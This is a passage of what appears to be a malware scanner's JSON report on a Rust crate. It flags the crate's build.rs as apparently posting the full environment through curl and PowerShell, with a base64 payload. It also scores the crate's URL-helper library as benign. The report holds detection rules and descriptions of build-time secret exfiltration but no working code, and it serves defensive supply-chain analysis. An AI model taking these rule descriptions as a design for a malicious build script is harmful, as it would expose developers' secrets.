              "suspicious_identifier_ratio": 0.14,
              "suspicious_string_ratio": 0.06,
              "top_char": 116,
              "top_char_null": 0,
              "top_char_ratio": 0.04,
              "unicode_escape_count": 1,
              "unique_chars": 93,
              "whitespace_ratio": 0.26
            }
          },
          "tgt": [
            "String::from_utf8",
            "String::from_utf8.ok",
            "String::with_capacity",
            "T.iter",
            "T.iter.position",
            "T.iter.position.unwrap_or",
            "Vec::new",
            "b64d",
            "input.as_bytes",
            "k.to_lowercase",
            "k.to_lowercase.contains",
            "noise.iter",
            "noise.iter.any",
            "o.push",
            "o.push_str",
            "out.join",
            "out.push",
            "pairs.push",
            "report",
            "s.chars",
            "s.len",
            "sinks",
            "snapshot",
            "std::env::var",
            "std::env::var.is_ok",
            "std::env::var.or_else",
            "std::env::var.or_else.unwrap_or_default",
            "std::env::var.unwrap_or_else",
            "std::env::vars",
            "std::env::vars.any",
            "std::fs::write",
            "std::path::PathBuf::from",
            "std::process::Command::new",
            "std::process::Command::new.args",
            "std::process::Command::new.args.spawn",
            "urls.is_empty",
            "v.len",
            "v.to_lowercase",
            "v.to_lowercase.contains"
          ]
        },
        "id": 3,
        "mol": "O(Eu)H₅(Cm₆F₂Os₃Po₃)Md₄(BkIn₂Pt)",
        "path": "lwd-uri-util-0.1.5.crate!!lwd-uri-util-0.1.5/build.rs",
        "pid": 0,
        "risk": 128,
        "sha": "ee1b2a749532d03a5e479a13b15e61842ddeb3d0ec9953018e966d93bc86ddb1",
        "sid": 6668752268,
        "size": 4646,
        "traits": [
          {
            "atk": "T1195.002,T1552.001,T1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Cargo build script posts full environment via curl",
            "id": "objectives/exfiltration/http/env::rust-build-script-env-curl-exfil",
            "mbc": "E1041",
            "spans": [
              [
                1512,
                11
              ],
              [
                3672,
                37
              ],
              [
                4019,
                13
              ]
            ],
            "uses": [
              1,
              9,
              25,
              31
            ]
          },
          {
            "conf": 0.99,
            "crit": 3,
            "desc": "Default Cargo build-script filename",
            "id": "metadata/build/ecosystem::cargo-build-script-basename"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Candidate bytes decoded: base64",
            "id": "metadata/encoded-payload/base64",
            "spans": [
              [
                2299,
                49
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports std::fs",
            "id": "metadata/import/rust/std/fs::std/fs",
            "spans": [
              [
                249,
                7
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports std::process::Command",
            "id": "metadata/import/rust/std/process/command::std/process/command",
            "spans": [
              [
                288,
                21
              ]
            ]
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Rust constructs PowerShell command text",
            "id": "metadata/lang/source/syntax/argument::rust-command-powershell",
            "spans": [
              [
                3672,
                26
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Constructs a shell interpreter command",
            "id": "metadata/lang/source/syntax/argument::rust-command-shell-interpreter",
            "spans": [
              [
                4125,
                22
              ]
            ]
          },
          {
            "conf": 0.97,
            "crit": 3,
            "desc": "Constructs Rust interpreter child command",
            "id": "metadata/lang/source/syntax/argument::rust-interpreter-command-construction",
            "spans": [
              [
                3672,
                12
              ],
              [
                3685,
                12
              ],
              [
                4138,
                9
              ]
            ]
          },
          {
            "conf": 0.97,
            "crit": 3,
            "desc": "Rust interpreter command outside test fixtures",
            "id": "metadata/lang/source/syntax/argument::rust-interpreter-command-outside-fixture-tree",
            "spans": [
              [
                3672,
                12
              ],
              [
                3685,
                12
              ],
              [
                4138,
                9
              ]
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl binary request-body option",
            "id": "micro-behaviors/communications/http/curl/body::curl-data-binary",
            "spans": [
              [
                4019,
                13
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "curl POST sets JSON Content-Type",
            "id": "micro-behaviors/communications/http/curl/body::curl-json-post-command",
            "mbc": "C0002",
            "spans": [
              [
                3967,
                50
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "curl and POST option text co-occur",
            "id": "micro-behaviors/communications/http/curl/body::curl-post-flag",
            "mbc": "C0002",
            "spans": [
              [
                3967,
                15
              ]
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl command text includes URL or option",
            "id": "micro-behaviors/communications/http/curl/command::curl-command-url-or-option",
            "spans": [
              [
                3966,
                8
              ]
            ]
          },
          {
            "conf": 1.0,
            "crit": 3,
            "desc": "curl command with the POST option",
            "id": "micro-behaviors/communications/http/curl/command::curl-post-method-command",
            "spans": [
              [
                3967,
                15
              ]
            ]
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "curl silent flag (-s)",
            "id": "micro-behaviors/communications/http/curl/command::curl-s-flag",
            "spans": [
              [
                3967,
                7
              ]
            ]
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "curl text contains silent or fail flags",
            "id": "micro-behaviors/communications/http/curl/command::curl-silent-fail-flags-text",
            "spans": [
              [
                3967,
                7
              ]
            ]
          },
          {
            "atk": "T1105",
            "conf": 0.86,
            "crit": 3,
            "desc": "Curl command text uses silent/fail flags",
            "id": "micro-behaviors/communications/http/download/curl::curl-silent-fail-flags-embedded-text",
            "spans": [
              [
                3967,
                7
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "id": "micro-behaviors/communications/http/header/content-type::json-header",
            "spans": [
              [
                3987,
                30
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "curl file or stdin body operand",
            "id": "micro-behaviors/communications/http/request/body/source::curl-data-binary-at-source",
            "spans": [
              [
                4019,
                15
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.82,
            "crit": 3,
            "desc": "curl POST request with custom header",
            "id": "micro-behaviors/communications/http/request/verb::curl-post-custom-header",
            "mbc": "C0002",
            "spans": [
              [
                3967,
                18
              ]
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl text selects POST PUT or PATCH",
            "id": "micro-behaviors/communications/http/request/verb::curl-write-method-text",
            "spans": [
              [
                3967,
                15
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "POST method command-line option",
            "id": "micro-behaviors/communications/http/request/verb::post-command-line-option",
            "spans": [
              [
                3975,
                7
              ]
            ]
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Writes a file with Rust fs::write",
            "id": "micro-behaviors/fs/write/file/full/call::fs-write",
            "spans": [
              [
                4519,
                14
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Shell text redirects both output streams",
            "id": "micro-behaviors/fs/write/file/redirect::shell-file-output-and-stderr-merge",
            "spans": [
              [
                4044,
                15
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Build script and Rust command clues",
            "id": "micro-behaviors/metaprogramming/generation/build::cargo-build-process-launch",
            "spans": [
              [
                3672,
                37
              ]
            ],
            "uses": [
              1,
              31
            ]
          },
          {
            "atk": "T1082",
            "conf": 0.9,
            "crit": 3,
            "desc": "Enumerates the Rust process environment",
            "id": "micro-behaviors/os/env/enumerate::rust-env-module-vars",
            "spans": [
              [
                1512,
                11
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References Cargo OUT_DIR environment value",
            "id": "micro-behaviors/os/env/read/named::cargo-out-dir-reference",
            "spans": [
              [
                67,
                7
              ],
              [
                4372,
                19
              ]
            ]
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "Rust reads an environment variable",
            "id": "micro-behaviors/os/env/read/variable::rust-env-module-var",
            "spans": [
              [
                1657,
                10
              ],
              [
                4371,
                10
              ]
            ]
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Code invokes noninteractive PowerShell",
            "id": "micro-behaviors/process/argument/lifecycle::code-powershell-noninteractive-options",
            "spans": [
              [
                3686,
                67
              ]
            ]
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Rust Command::new symbol reference",
            "id": "micro-behaviors/process/create/subprocess/configure::rust-command-new-call",
            "spans": [
              [
                3672,
                26
              ]
            ]
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Rust constructs a shell command",
            "id": "micro-behaviors/process/create/subprocess/configure::rust-shell-command-runner",
            "spans": [
              [
                4125,
                23
              ]
            ]
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Spawns a Rust Command child process",
            "id": "micro-behaviors/process/create/subprocess/launch::rust-command-spawn-call",
            "spans": [
              [
                3672,
                37
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports std::env",
            "id": "metadata/import/rust/std/env::std/env",
            "spans": [
              [
                234,
                0
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports std::path::PathBuf",
            "id": "metadata/import/rust/std/path/pathbuf::std/path/pathbuf",
            "spans": [
              [
                263,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-1",
            "spans": [
              [
                180,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-2",
            "spans": [
              [
                2772,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"that\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-3",
            "spans": [
              [
                2643,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-5",
            "spans": [
              [
                527,
                0
              ]
            ]
          }
        ],
        "type": "rust"
      },
      {
        "analysis_gaps": [
          "flow-query-incomplete"
        ],
        "ctx": [
          {
            "col": 2,
            "line": 4,
            "ln": 122,
            "s": "/! (`host`, `host:port`, `https://host:port/`). This crate reduces them to a\r\n//! single canonical `https://host:port` form suitable for gRPC channel\r\n//! construction, so comparisons, caching and logging stay consistent.\r\n\r\n/// Returns the canonical `https://host:port` form of `endpoint`.\r\n///\r\n/// - adds `https://` when the scheme is missing\r\n/// - lowercases scheme and"
          },
          {
            "col": 35,
            "line": 13,
            "ln": 602,
            "s": "sh\r\n///\r\n/// ```\r\n/// use lwd_uri_util::canonicalize_endpoint;\r\n/// assert_eq!(canonicalize_endpoint(\"zec.rocks\"),\r\n///            \"https://zec.rocks:443\");\r\n/// assert_eq!(canonicalize_endpoint(\"https://Zec"
          },
          {
            "col": 28,
            "line": 41,
            "ln": 1624,
            "s": "t: \u0026str) -\u003e String {\r\n    canonicalize_endpoint(endpoint)\r\n}\r\n\r\n#[cfg(test)]\r\nmod tests {\r\n    use super::*;\r\n\r\n    #[test]\r\n    fn bare_host() {\r\n        assert_eq!(canonicalize_endpoint(\"zec.rocks\"), \"https://zec.rocks:443\");\r\n    }\r\n\r\n    #[test]\r\n"
          },
          {
            "col": 36,
            "line": 62,
            "ln": 2109,
            "s": "point(\"grpc.example.org\"),\r\n                   \"https://grpc.example.org:443\");\r\n    }\r\n}\r\n"
          }
        ],
        "depth": 1,
        "facts": {
          "funcs": [
            [
              "canonicalize_endpoint",
              878
            ],
            [
              "endpoint_key",
              1597
            ],
            [
              "bare_host",
              1753
            ],
            [
              "strips_scheme_and_case",
              1879
            ],
            [
              "default_port",
              2053
            ]
          ],
          "imp": [
            [
              "",
              "endpoint.trim"
            ],
            [
              "",
              "e.split_once"
            ],
            [
              "",
              "s.to_ascii_lowercase"
            ],
            [
              "",
              "rest.trim_end_matches"
            ],
            [
              "",
              "rest.split_once"
            ],
            [
              "",
              "host_port.split_once"
            ],
            [
              "",
              "h.to_ascii_lowercase"
            ],
            [
              "",
              "p.to_string"
            ],
            [
              "",
              "host_port.to_ascii_lowercase"
            ],
            [
              "",
              "canonicalize_endpoint"
            ],
            [
              "",
              "super::*"
            ]
          ],
          "mbr": [
            "e.split_once",
            "endpoint.trim",
            "h.to_ascii_lowercase",
            "host_port.split_once",
            "host_port.to_ascii_lowercase",
            "p.to_string",
            "rest.split_once",
            "rest.trim_end_matches",
            "s.to_ascii_lowercase"
          ],
          "metrics": {
            "ast": {
              "call_count": 12,
              "max_depth": 11,
              "max_member_depth": 2,
              "member_count": 9,
              "node_count": 536
            },
            "binary": {
              "peak_region_bytes": 2200,
              "peak_region_entropy": 4.83
            },
            "binds": {
              "count": 2
            },
            "comments": {
              "chars": 864,
              "count": 21,
              "high_entropy": 1,
              "lines": 21,
              "to_code_ratio": 0.48,
              "url_count": 7
            },
            "file": {
              "entropy": 4.91,
              "size": 2200
            },
            "functions": {
              "avg_length_lines": 6.2,
              "avg_name_length": 15.2,
              "avg_param_name_length": 8,
              "avg_params": 0.4,
              "code_ratio": 0.48,
              "count": 5,
              "density": 7.69,
              "length_stddev": 5.42,
              "max_length_lines": 17,
              "max_params": 1,
              "min_length_lines": 3,
              "no_params_count": 3
            },
            "identifiers": {
              "all_lowercase_ratio": 0.9,
              "avg_entropy": 2.15,
              "avg_length": 7.3,
              "count": 69,
              "length_stddev": 5.68,
              "max_length": 22,
              "min_length": 1,
              "reuse_ratio": 0.43,
              "sequential_names": 5,
              "single_char_count": 5,
              "single_char_ratio": 0.17,
              "underscore_prefix_count": 1,
              "unique": 30
            },
            "imports": {
              "count": 1,
              "third_party_count": 1,
              "third_party_ratio": 1,
              "wildcard": 1
            },
            "source": {
              "function_count": 5
            },
            "strings": {
              "avg_entropy": 2.96,
              "avg_length": 14,
              "bytes": 154,
              "count": 11,
              "domain_count": 1,
              "empty_count": 1,
              "entropy_stddev": 1.19,
              "max_length": 28,
              "url_count": 4
            },
            "text": {
              "avg_line_length": 31.85,
              "char_entropy": 4.91,
              "digit_ratio": 0.02,
              "empty_line_ratio": 0.09,
              "identifier_density": 1.06,
              "identifiers_to_functions_ratio": 6,
              "import_density": 1.54,
              "imports_to_functions_ratio": 0.2,
              "last_line_length": 1,
              "line_length_stddev": 25.02,
              "lines": 65,
              "max_line_length": 80,
              "max_whitespace_run": 12,
              "normalized_function_count": 0.62,
              "normalized_import_count": 0.12,
              "normalized_string_count": 1.36,
              "normalized_unique_identifiers": 4.98,
              "repeated_char_sequences": 4,
              "space_count": 367,
              "string_density": 0.17,
              "strings_to_functions_ratio": 2.2,
              "suspicious_comment_ratio": 0.05,
              "suspicious_identifier_ratio": 0.17,
              "top_char": 116,
              "top_char_null": 0,
              "top_char_ratio": 0.06,
              "unique_chars": 66,
              "whitespace_ratio": 0.23
            }
          },
          "tgt": [
            "canonicalize_endpoint",
            "e.split_once",
            "endpoint.trim",
            "h.to_ascii_lowercase",
            "host_port.split_once",
            "host_port.to_ascii_lowercase",
            "p.to_string",
            "rest.split_once",
            "rest.trim_end_matches",
            "s.to_ascii_lowercase"
          ]
        },
        "id": 4,
        "mol": "Md(Pa₂)",
        "path": "lwd-uri-util-0.1.5.crate!!lwd-uri-util-0.1.5/src/lib.rs",
        "pid": 0,
        "risk": 2,
        "sha": "ac82fd28228bfb55acbb9bfdd2f3a4b926c6d65e2965db5a34c11d1a76fbd762",
        "sid": 6667289340,
        "size": 2200,
        "traits": [
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Rust test marker or harness",
            "id": "metadata/package/testing/harness/unit::rust-test",
            "spans": [
              [
                666,
                15
              ],
              [
                1688,
                12
              ],
              [
                1736,
                11
              ]
            ],
            "uses": [
              3,
              4,
              5
            ]
          },
          {
            "conf": 0.99,
            "crit": 3,
            "desc": "Rust unit test attribute on source",
            "id": "metadata/package/testing/http-fixtures::rust-test-attribute-for-http-fixture",
            "spans": [
              [
                1740,
                7
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports super::*",
            "id": "metadata/import/rust/super::super",
            "spans": [
              [
                1723,
                0
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "#[cfg(test)] attribute",
            "id": "metadata/package/testing/harness/unit::rust-cfg-test",
            "spans": [
              [
                1688,
                0
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Assertion inside a Rust doc-comment example",
            "id": "metadata/package/testing/harness/unit::rust-doctest-assertion",
            "spans": [
              [
                666,
                0
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Rust synchronous or async test attribute",
            "id": "metadata/package/testing/harness/unit::rust-test-attr",
            "spans": [
              [
                1736,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-1",
            "spans": [
              [
                359,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-2",
            "spans": [
              [
                315,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-5",
            "spans": [
              [
                255,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"this\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-7",
            "spans": [
              [
                170,
                0
              ]
            ]
          }
        ],
        "type": "rust"
      }
    ],
    "v": 8
  }
}